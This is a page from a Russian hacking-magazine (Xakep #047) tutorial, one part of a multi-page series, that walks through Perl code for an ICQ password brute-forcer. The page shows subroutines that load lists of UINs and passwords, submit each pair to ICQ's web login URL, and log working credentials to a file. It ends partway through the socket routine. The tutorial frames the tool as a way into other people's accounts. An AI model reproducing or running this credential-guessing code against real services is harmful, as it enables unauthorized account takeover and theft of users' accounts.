Персональный ICQ брутфорс

Xakep, номер #047, стр. 047-086-2


Немного о процедурах. Процедуры в языке Perl задаются следующим образом: sub имя_процедуры { ..... } (где в блоке { } расположен код процедуры). Существует два пути пересылки параметров процедуре. Либо как глобальные переменные, которые будут заранее объявлены в главном модуле, либо на уровне параметров (вызов осуществляется так: имя_процедуры (параметр1, параметр2, ...). Принять такие параметры в самом сабе можно, выцепив их из дефолтового массива @_, следующим образом: my($param1,$param2)=@_, где my() - локализация переменных. Весь код брутфорса будет составлен практически из процедур, и ты сам впоследствии заценишь их гибкость и удобство.

sub checkstart {

&crash(1,$uins) unless (-f $uins);

&crash(1,$passwordlst) unless (-f $passwordlst);

}

Здесь - crash - дальнейшая процедура обработки ошибок. Далее открываем файл с уинами и поочередно заполняем массив @uinslst номерами.

sub openuins {

open(UINS,"$uins") || &crash(10);

while()

{

chomp($_);

push(@uinslst,$_) # Заполняем массив @uinslst в цикле

}

close(UINS);

for ($iall=0;$iall<=scalar(@uinslst);$iall++) {

if ($iall>=scalar(@uinslst)) { &crash(2) }

$prepareuin=$uinslst[$iall]; ## Для каждого уина - выполним его выделение в переменную

print "Getting uin $prepareuin\n" if $debug;

openpass($prepareuin); # И отправимся на следующую процедуру (перебор паролей для него)

}

}

openpass() практически аналогичная процедура (вместо уинов фигурируют пароли). Смысл этой процедуры - передать уин и пароль на процедуру crack() и отследить возврат, который может быть либо 2, либо 3 (пароль найден, либо все пароли закончились).

sub crack {

my($passwd,$uin)=@_; # Берем из параметров уин и пароль

unless ($passwd) {

return 3; # Если нет пароля - возвращаем 3

}

print "Trying $uin and $passwd... \n" if $debug;

$dir="/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd"; # Так выглядит путь к скрипту и параметры, которые необходимо послать серверу.

$resuilt=&sock($dir); ## Отправка на процедуру создания сокета и отправки данных серверу

if ($resuilt == -1) # Анализ результата

{

print "Can\'t connect to server... Reconnecting\n" if $debug;

redo

}

elsif (!($resuilt))

{

print "failed\n" if $debug;

return 0;

}

elsif ($resuilt)

{

print "success\n" if $debug;

logging($success,"$uin\:$passwd");

$i++;

return 2;

}

}

Итак, процедура crack(). В ней фактически идет анализ результата следующей процедуры sock(). Если результат = -1 - коннект к серверу не состоялся - реконнектимся. Если результат нулевой - сообщаем, что пароль неверный, иначе, если пароль верный, то логируем в logg.txt аккаунт и возвращаем код 2 (openpass() прореагирует на него, как брать следующий по списку UIN).

sub sock {

my($socket);

my($get)=@_;

$socket=IO::Socket::INET->new( PeerAddr => $server,

Назад на стр. 047-086-1  Содержание  Вперед на стр. 047-086-3